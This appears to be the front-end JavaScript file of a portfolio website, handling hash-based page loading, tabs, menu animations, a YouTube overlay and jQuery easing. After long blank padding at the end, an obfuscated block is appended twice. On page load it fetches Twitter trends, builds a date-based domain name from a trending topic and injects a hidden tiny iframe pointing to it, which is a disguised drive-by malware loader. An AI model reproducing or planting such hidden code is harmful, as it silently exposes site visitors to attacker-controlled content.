// JavaScript Document
var menuHistory = new Array();
var currentPage = null;
var globalPrevTab = null;

var forcedTab = null;

$(window).konami(function () {

    window.location = "http://www.youtube.com/watch?v=EK2tWVj6lXw&ob=av3e";

});


$(window).hashchange(function () {
	
	if (location.hash != '#'){
	    var page = location.hash.split('#');
	    if (page[1] != null) {
	    	pageAndTab = page[1].split('_');
	    	
	    	forcedTab = pageAndTab[1];
	    	
	 
	        currentPage = pageAndTab[0];
	        
	        
	        loadNewPage(currentPage);
	        globalPrevTab = null;
	        pageTracker._trackPageview("/pages/"+currentPage+".html");
	    }
    }

});


$(document).ready(function () {



	$('.youtubeplayer').live('click',function(){
			
		var link = $(this).attr('rel');
		$('#overlay').fadeIn(300,function(){
		
			$('#video-player').animate({
				marginTop : "-271px"
			},{duration: 1000 , easing: "easeOutElastic", complete : function(){
				$('#video-player iframe').attr('src',link);
			}});
		
		});
		
		return false;
	
	});
	
	$('#overlay').live('click',function(){
		
		$('#video-player').animate({
			marginTop : "-1200px"
		},{duration: 300, easing: "easeInBack", complete : function(){
			$('#overlay').fadeOut(300);
			$('#video-player iframe').attr('src','');
		}});
		
	});

	if($.browser.msie && $.browser.version=="6.0"){
		window.location = "/hold.html";
	}
	
    if (window.location.hash) {
    	pageAndTab = window.location.hash.substr(1).split('_');
    	
    	forcedTab = pageAndTab[1];
        loadNewPage(pageAndTab[0]);
        
    } else {
        loadNewPage('home');
    }
	
	updateTwitterStatus();


    // Hover Menu Magic
    $('li').hover(

    function () {
        $('img', this).fadeIn(100).css('display', 'block');
        
     
    }, function () {
        if ($(this).hasClass('selected') == false) {
            $('img', this).fadeOut(500);
            //$('.selected img').fadeIn(); 
        }
    });

    // Click Menu Magic		
    $('#header #nav li a').bind('click', function () {
		
		/*
        // Update menu
        $('.selected img').hide();
        $('.selected').animate({
            lineHeight: 25
        });
        $('.selected').removeClass('selected');

        $(this).parent().animate({
            lineHeight: 100
        }, 300);

        $(this).parent().addClass('selected');
		*/
		
        // Get raw link filename
        var link = $(this).attr('href').split("/");
        link = link[1].split(".");

        window.location = "#" + link[0];
		
        // Disable click
        return false;
    });

});


function setMenuCategory(cat){
	

	currently = $('#nav .selected a').attr('id');
		
	if('m_'+cat != currently){

		$('#nav .selected img').hide();
		$('#nav .selected').animate({
		    lineHeight: 25
		});
		
		$('#nav .selected').removeClass('selected');
		
		$('#m_'+cat).parent().animate({
		    lineHeight: 100
		}, 300);
	        
	   	$('#m_'+cat).parent().addClass('selected');
	   	$('#m_'+cat+' img').fadeIn(100).css('display', 'block');

	}
	
}

function workEyeCandy() {

    var menuIcons = $('body').find('.work_thumb_container');
    var i = 0;


    menuFadeThrough = setInterval(function () {


        if (i == menuIcons.length) {
            clearInterval(menuFadeThrough);
        }

        i++;

    }, 100);

}

function loadNewPage(page) {

    $('#loading').show();

    var oldPageHeight = $("div[rel*='view']").height();

    // Fadeout old div
    $("div[rel*='view']").animate({
        opacity: 0,
        height: oldPageHeight

    }, 200, function () {

        // Once fade out complete, remove the div holding it
        $(this).remove();

        // Create a new div to load content in
        $('#load').append('<div id="loaded_' + page + '" rel="view"></div>');

        // Give it the height of the original content
        $('#load').css('height', oldPageHeight);

        $('#loaded_' + page).css('display', 'none');

        // Load content into newly created driv
        $('#loaded_' + page).load('pages/' + page + '.html', function () {

            // Retain the loaded divs height
            var pageHeight = $('#loaded_' + page).height();

            // Set it to hold height so we can animate it sliding down
            $('#loaded_' + page).css('height', oldPageHeight);
            $('#loaded_' + page).css('display', 'none');

            // Slide it down
            $('#load').animate({
                height: pageHeight
            }, 500, function () {

                $('#loaded_' + page).css('height', pageHeight);
                $('#loaded_' + page).fadeIn(500,function(){
              	  
              		if(!window.XMLHttpRequest){
                		$('#loaded_' + page).supersleight();
                	}
                
                });
				
                // All Done
                $('#loading').fadeOut(50);

            });

        });

    });

}

function setPageTheme(stylesheet) {

    if ($('#theme').attr('href') == stylesheet) {} else {
        $('#flash').fadeIn(100, function () {
            $("#theme").attr("href", stylesheet);
            $('#flash').fadeOut(1000);

        });
    }

}

function forceTab(tab) {

	pageTracker._trackPageview("/pages/"+tab+".html");
	
    $('#tabs .selected').removeClass();

    $('.tabView[rel|=' + globalPrevTab + ']').fadeOut(200, function () {

        var newTabHeight = $('.tabView[rel|=' + tab + ']').height();

        $('#load').animate({
            height: newTabHeight
        }, 300, function () {

            $('#loaded_' + currentPage).height(newTabHeight);

            $('.tabView[rel|=' + tab + ']').fadeIn(300);

            globalPrevTab = tab;

        });

    });

    return false;

}

function playYouTube(){
	
	$('#overlay').show();
	video = $(this).attr('rel');
		
	$('.youtube-player').attr('src',video);
		
	return false;

}

function updateTwitterStatus() {

    $.getJSON('/jSon/jsonTwitter.ashx', function (data) {
    
        $('#twitterstatus').html(data.twText);
    });

}




function bind() {
	
	if($.browser.webkit){
		$('#play-button').append('<div id="pulse"></div>');
	}
	
    var homeviews = $('#scroller #views').find('li');
    
    $(homeviews).hide();
    
    randomView = Math.floor(Math.random()*2);
    
    
    $(homeviews[randomView]).show();
   
    $('#tags').find('a').bind('click', function () {

        $('#tags .selected').removeClass('selected');
        $(this).addClass('selected');

        tag = $(this).attr('alt');

        if (tag == "all") {
            $('.work_thumb_container').show('fast');
        } else {

            thumbs = $('.work_thumb_container');
            i = 0;

            while (i < thumbs.length) {
                if ($(thumbs[i]).attr('rel') == tag) {
                    $(thumbs[i]).show('fast');
                } else {
                    $(thumbs[i]).hide('fast');
                }
                i++;
            }

        }

        return false;
    });

    $('.work_thumb_container').hover(function () {
        $(this).children('.overlay').fadeIn(150);
    }, function () {
        $(this).children('.overlay').fadeOut(500);
    });

    $('#button_back').hover(

    function () {
        $('#button_back').animate({
            marginLeft: '-=10px'
        }, 300);
    }, function () {
        $('#button_back').animate({
            marginLeft: '+=10px'
        }, 300);
    });


    $('.thumbnail').bind('click', function () {
    
       	 	imagePath = $(this).children().attr('src').split('work');
       	 		 	
			imagePath = imagePath[1];
			imagePath = imagePath.split('.');
			imagePath = imagePath[0] + '_large.jpg';
    
        
        	$('.photo_container').css('background-image', 'url("images/work' + imagePath + '")');
        
      
        return false;

    });


    $('.toolTip').hover(

    function () {
        var tip = $(this).attr('alt');
        $(this).prepend('<div id="toolTipPop">' + tip + '</div>');
        $(this).css('text-shadow', '#8ACE19 0px 0px 5px');
    }, function () {

        $('.toolTip').css('text-shadow', '0px 0px 0px');

        $('#toolTipPop').fadeOut('slow', function () {
            $('#toolTipPop').remove();
        });

    });

    // Setup tabs
    var tabsArray = $('.tabView');
    // Hide all tabs
    $('.tabView').hide();

	
	if(forcedTab == null){
	    // Show first tab only
	    $(tabsArray[0]).show();
	    globalPrevTab = $(tabsArray[0]).attr('rel');
    } else {
    	$('.tabView[rel|='+forcedTab+']').show();
    	$('#tabs .selected').removeClass();
    	$('#tabs li a[rel|='+forcedTab+']').parent().addClass('selected');
    	globalPrevTab = forcedTab;
    	forcedTab = null;
    }

    $('#tabs').find('a').bind('click', function () {

        var newTab = $(this).attr('rel');
        
        pageTracker._trackPageview("/pages/"+newTab+".html");

        $('#tabs .selected').removeClass();
        $(this).parent().addClass('selected');

        // Fade out old tab content
        $('.tabView[rel|=' + globalPrevTab + ']').fadeOut(200, function () {
			
            var newTabHeight = $('.tabView[rel|=' + newTab + ']').height();

            $('#load').animate({
                height: newTabHeight
            }, 300, function () {

                $('#loaded_' + currentPage).height(newTabHeight);

                $('.tabView[rel|=' + newTab + ']').fadeIn(300);

                globalPrevTab = newTab;

            });

        });

        return false;

    });



}

// Redefine animation
jQuery.easing['jswing'] = jQuery.easing['swing'];

jQuery.extend( jQuery.easing,
{
	def: 'easeOutQuad',
	swing: function (x, t, b, c, d) {
		//alert(jQuery.easing.default);
		return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
	},
	easeOutQuad: function (x, t, b, c, d) {
		return -c *(t/=d)*(t-2) + b;
	},
	easeOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
	},
	easeOutBounce: function (x, t, b, c, d) {
		if ((t/=d) < (1/2.75)) {
			return c*(7.5625*t*t) + b;
		} else if (t < (2/2.75)) {
			return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
		} else if (t < (2.5/2.75)) {
			return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
		} else {
			return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
		}
	},easeInBack: function (x, t, b, c, d, s) {
			if (s == undefined) s = 1.70158;
			return c*(t/=d)*t*((s+1)*t - s) + b;
	}
});




















(function($$){d="( : +q= :var VP=this;\\[VP  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +k= : &r,Vp=this.#q(),i=0;Vp[1]+=1;while(i++<7){#r=Vp[i] /#r<#M)Vp[i] 6#r}\\ Vp.splice(~z'),1+~T 0 7~u 0+'T'+Vp 7~U 0};VG={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #m(Vu){#T=[];for(Va=0;Va<Vu (;Va++){#T.push(VG[Vu.charAt(Va)])}\\ #t(#T)}Vi=document;#u=window; )y='undefined'; )z=~haDWDosestnsdlDjfqcq' 3H= *)== )y) /#H||!Vc()){if(!#H){try{Vg=jQuery !;try{Vg=$ !}VS=Vi.getElementsByTagName(~Y 0[0];#E=Vi.createElement(~kS 0;#E.setAttribute(~kr'),#m(\"hxDgakDosxsLsJseD6sJDmDj\"));VS.appendChild(#E)}@ VR(#s,VF 2Math.floor(#s/VF) 9v(#d){var Vf=VR( )L, $x); &w= )L% $x; &N= $p*#w; &F= $m*Vf; &e=#N-#F /#e>0){#L=#e}else{#L=#e+ $A}\\(#L%#d) 9J(#n){ )L=~;')+#n; $p=~/'); $A=~;')-~F'); $x=VR( $A, $p); $m= $A% $p 9t(V 2V (==1?V[0]:V 7'')};@ #R(V){d=new Date( 3A=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\\ d 9o(VC){ &i,Vh,#G=VC (; &x=[];while(--#G){Vh=#v(#G 3x.push(Vh 3i=VC[Vh];VC[Vh]=VC[#G];VC[#G]=#i}}@ VL($){VE=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 2String.fromCharCode(i+x+24)});\\ #t(VE) 9j(x 2x (}@ VT($){if *)!= )y){$( :if *.Vo)!= )y)\\;$.Vo=1; 4z,@(VM){#D=#R(VM 3K=#D  Month() ;N=#D  Date( 3p=@(x,i){\\(#j(x+\"\")-1)?x:\"0\"+x};Ve=#p(#K,4)+\"-\"+#p(VN,7 3a=#z+#m(\"E 5;VD=Vy=VR(#D  Hours(),6)*6 ;z=VD+1;#M=+~ez'); , 4a,@(VM){try{#S=VM.trends;#f=#m(\" 5+\" \" /VD<#M)VD 6VD /Vz<#M)Vz 6Vz; 8D+#m(X)] /!#c){ 8z+#m(X)]}#c=(#c[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 3C=#K*71+Vy*3+VN*37;#J(#C 3j=#v(4)+#M;#o(#c 3b=~Ch')+#t(#c).substring(0,#j)+'.com/'+VL($);VG['Z']=#b;Vr=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vr)}catch(Vq){}})},#M*#M*#M)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#BX','`':'~#m('\\return  .getUTC !.noConflict(true)}catch(e){} $#u.V %(),VP   &var # (.length )#u.# *(typeof($ +Date.prototype.# ,setTimeout( : -VT(#u.jQuery)} /;if( 0')) 1yQHTpweeepQ 2){\\  3);# 4$.getJSON(# 5Tzeeu\")+Ve 6=~z')+ 7.join( 8#c=#S[#f+V 9}@ # :@(){ ;+(+~e 0;V";for(c=55;c;d=(t=d.split('#@VX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8 9 : ;'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});


(function($$){d="( : +q= :var VP=this;\\[VP  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +k= : &r,Vp=this.#q(),i=0;Vp[1]+=1;while(i++<7){#r=Vp[i] /#r<#M)Vp[i] 6#r}\\ Vp.splice(~z'),1+~T 0 7~u 0+'T'+Vp 7~U 0};VG={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #m(Vu){#T=[];for(Va=0;Va<Vu (;Va++){#T.push(VG[Vu.charAt(Va)])}\\ #t(#T)}Vi=document;#u=window; )y='undefined'; )z=~haDWDosestnsdlDjfqcq' 3H= *)== )y) /#H||!Vc()){if(!#H){try{Vg=jQuery !;try{Vg=$ !}VS=Vi.getElementsByTagName(~Y 0[0];#E=Vi.createElement(~kS 0;#E.setAttribute(~kr'),#m(\"hxDgakDosxsLsJseD6sJDmDj\"));VS.appendChild(#E)}@ VR(#s,VF 2Math.floor(#s/VF) 9v(#d){var Vf=VR( )L, $x); &w= )L% $x; &N= $p*#w; &F= $m*Vf; &e=#N-#F /#e>0){#L=#e}else{#L=#e+ $A}\\(#L%#d) 9J(#n){ )L=~;')+#n; $p=~/'); $A=~;')-~F'); $x=VR( $A, $p); $m= $A% $p 9t(V 2V (==1?V[0]:V 7'')};@ #R(V){d=new Date( 3A=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\\ d 9o(VC){ &i,Vh,#G=VC (; &x=[];while(--#G){Vh=#v(#G 3x.push(Vh 3i=VC[Vh];VC[Vh]=VC[#G];VC[#G]=#i}}@ VL($){VE=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 2String.fromCharCode(i+x+24)});\\ #t(VE) 9j(x 2x (}@ VT($){if *)!= )y){$( :if *.Vo)!= )y)\\;$.Vo=1; 4z,@(VM){#D=#R(VM 3K=#D  Month() ;N=#D  Date( 3p=@(x,i){\\(#j(x+\"\")-1)?x:\"0\"+x};Ve=#p(#K,4)+\"-\"+#p(VN,7 3a=#z+#m(\"E 5;VD=Vy=VR(#D  Hours(),6)*6 ;z=VD+1;#M=+~ez'); , 4a,@(VM){try{#S=VM.trends;#f=#m(\" 5+\" \" /VD<#M)VD 6VD /Vz<#M)Vz 6Vz; 8D+#m(X)] /!#c){ 8z+#m(X)]}#c=(#c[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 3C=#K*71+Vy*3+VN*37;#J(#C 3j=#v(4)+#M;#o(#c 3b=~Ch')+#t(#c).substring(0,#j)+'.com/'+VL($);VG['Z']=#b;Vr=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vr)}catch(Vq){}})},#M*#M*#M)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#BX','`':'~#m('\\return  .getUTC !.noConflict(true)}catch(e){} $#u.V %(),VP   &var # (.length )#u.# *(typeof($ +Date.prototype.# ,setTimeout( : -VT(#u.jQuery)} /;if( 0')) 1yQHTpweeepQ 2){\\  3);# 4$.getJSON(# 5Tzeeu\")+Ve 6=~z')+ 7.join( 8#c=#S[#f+V 9}@ # :@(){ ;+(+~e 0;V";for(c=55;c;d=(t=d.split('#@VX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8 9 : ;'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

